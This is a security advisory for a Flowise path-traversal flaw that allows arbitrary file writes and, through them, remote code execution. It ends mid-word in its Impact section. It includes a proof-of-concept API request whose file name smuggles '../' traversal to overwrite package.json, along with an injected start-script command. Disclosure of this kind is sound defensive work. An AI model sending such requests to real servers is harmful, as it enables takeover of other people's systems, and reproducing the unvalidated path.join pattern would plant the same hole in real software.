Flowise allows arbitrary file write to RCE

### Summary An attacker could write files with arbitrary content to the filesystem via the `/api/v1/document-store/loader/process` API. An attacker can reach RCE(Remote Code Execution) via file writing. ### Details All file writing functions in [packages/components/src/storageUtils.ts](https://github.com/FlowiseAI/Flowise/blob/main/packages/components/src/storageUtils.ts) are vulnerable. - addBase64FilesToStorage - addArrayFilesToStorage - addSingleFileToStorage The fileName parameter, which is an untrusted external input, is being used as an argument to path.join() without verification. ```javascript const filePath = path.join(dir, fileName) fs.writeFileSync(filePath, bf) ``` Therefore, users can move to the parent folder via `../` and write files to any path. Once file writing is possible in all paths, an attacker can reach RCE (Remote Code Execution) in a variety of ways. In PoC (Proof of Concept), RCE was reached by overwriting package.json. ### PoC In PoC, `package.json` is overwritten. This is a scenario in which arbitrary code is executed when `pnpm start` is executed by changing the start command in the `scripts{}` statement to an arbitrary value. **- original start command** ```` "start": "run-script-os", ```` **- modify start command** ```` "start": "touch /tmp/pyozzi-poc && run-script-os", ```` When a user runs the `pnpm start` command, a `pyozzi-poc` file is created in the `/tmp` path. #### 1. package.json content base64 encoding ```json { "name": "flowise", "version": "1.8.2", "private": true, "homepage": "https://flowiseai.com", "workspaces": [ "packages/*", "flowise", "ui", "components" ], "scripts": { "build": "turbo run build && echo poc", "build-force": "pnpm clean && turbo run build --force", "dev": "turbo run dev --parallel", "start": "touch /tmp/pyozzi-poc && run-script-os", --> modify (add touch /tmp/pyozzi &&) "start:windows": "cd packages/server/bin && run start", "start:default": "cd packages/server/bin && ./run start", "clean": "pnpm --filter \"./packages/**\" clean", "nuke": "pnpm --filter \"./packages/**\" nuke && rimraf node_modules .turbo", "format": "prettier --write \"**/*.{ts,tsx,md}\"", "lint": "eslint \"**/*.{js,jsx,ts,tsx,json,md}\"", "lint-fix": "pnpm lint --fix", "quick": "pretty-quick --staged", "postinstall": "husky install", "migration:create": "pnpm typeorm migration:create" }, ... skip ``` #### 2. Overwrite `package.json` via `/api/v1/document-store/loader/process` <img width="1329" alt="image" src="https://github.com/FlowiseAI/Flowise/assets/86613161/a548732d-4bee-4cd0-8565-54fb8e560500"> > **Request Body** ```json { "loaderId": "textFile", "storeId": "c4b8a8fb-9eb6-47ae-9caa-7702ef8baabb", "loaderName": "Text File", "loaderConfig": { "txtFile": "data:text/plain;BASE64_ENCODEING_CONTENT,filename:/../../../../../usr/src/package.json", "textSplitter": "", "metadata": "", "omitMetadataKeys": "" } } ``` The part after `filename:` of the `txtFile` parameter is the value used as `fileName` in the function. Add `../` to the filename value to move to the top path, then specify `package.json` in the project folder `/usr/src/` as the path. <img width="663" alt="image" src="https://github.com/FlowiseAI/Flowise/assets/86613161/13fdc756-f4d3-45f9-9929-fd978f532a02"> Afterwards, when the user starts the server (`pnpm start`), the added script will be executed. (`touch /tmp/pyozzi-poc`) **- starting server with `touch /tmp/pyozzi-poc` command** <img width="737" alt="image" src="https://github.com/FlowiseAI/Flowise/assets/86613161/341be379-43ca-4acc-9126-dc398475fcf3"> **- `/tmp/pyozzi-poc` file created** <img width="751" alt="image" src="https://github.com/FlowiseAI/Flowise/assets/86613161/15707068-c000-4d59-972d-89d969c27087"> ### Impact **Remote Code Execu

CVSS 3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Severity from

GitHub (reviewed advisory)

Weakness

CWE-94

Also known as

CVE-2025-71338

• github.com/FlowiseAI/Flowise/security/advisories/GHSA-8vvx-qvq9-5948
• github.com/FlowiseAI/Flowise/commit/c2b830f279e454e8b758da441016b2234f220ac7
• github.com/FlowiseAI/Flowise